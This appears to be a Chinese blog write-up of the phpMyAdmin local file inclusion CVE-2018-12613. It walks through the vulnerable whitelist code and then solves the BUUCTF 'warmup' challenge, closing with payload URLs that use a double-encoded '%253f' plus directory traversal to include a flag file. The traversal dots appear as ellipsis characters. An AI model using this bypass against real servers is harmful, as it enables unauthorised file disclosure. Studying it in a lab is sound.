这次给大家带来我的第一次CEV漏洞分析。
一,以下是我分析与总结的资料。
二,漏洞分析
(一)漏洞代码分析
1漏洞代码
(1)index.php 50-63
target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead //满足5个条件后就会include $ _REQUEST['target']的内容
if (! empty( $ _REQUEST['target']) // $ _REQUEST['target']不为空
&& is_string( $ _REQUEST['target']) // $ _REQUEST['target']是字符串
&& ! preg_match('/^index/', $ _REQUEST['target']) // $ _REQUEST['target']不以index开头
&& ! in_array( $ _REQUEST['target'], $ target_blacklist)
// $_REQUEST['target']不在 $ target_blacklist中
&& Core::checkPageValidity( $ _REQUEST['target'])//接下来查看定义的
) {
include $_REQUEST['target'];
exit;
}
(2)Core.php 443-476
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) { //要求非空且为字符
return false;
}
if (in_array($page, $whitelist)) { //是否存在于白名单中
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
//$_page是$page中从第一个字符到第一个'?'的所有字符。即过滤后面传递的参数 。
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { //解码后的$_page中是否有'?',即是否传参。
return true;
}
return false;
}
2漏洞原理
由于第 465 行的 urldecode(),仅仅只进行了一次编码,所以可以把’?'两次url编码为 %253f, 即可绕过验证第二次的$_page的验证。
(二)新老版本对比
5.0.4版本的core.php的相同行数的内容依旧没有发生改变,而且index.php相同行数上代码的变化并没有本质上的改变,所以我认为漏洞的修复可能出现在其他位置或超出了我目前的认知范围,在此不做深入讨论,知道的大佬可以在评论区留言,谢谢。
三,BUUCTF warmup
首先进入环境可以发现一个source.php进入后可以看见以下源码。
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
然后可以看见有一个hint.php访问一下看一看,获得提示,flag在ffffllllaaaagggg里(后来才意识到),那么接下来就是想办法把ffffllllaaaagggg包含并“访问”,拿到flag的过程了。
根据相似漏洞phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)的相关知识可以得到playload。
注:…/为向上退回目录,经测试最少四次向上退回目录即可。
下面是我总结的playload。
如下,然后得到flag。
http://dc45c57e-7336-457b-9a46-3bb8ffb7e348.node3.buuoj.cn/source.php?file=hint.php%253f/…/…/…/…/ffffllllaaaagggg
http://dc45c57e-7336-457b-9a46-3bb8ffb7e348.node3.buuoj.cn/source.php?file=source.php%253f/…/…/…/…/ffffllllaaaagggg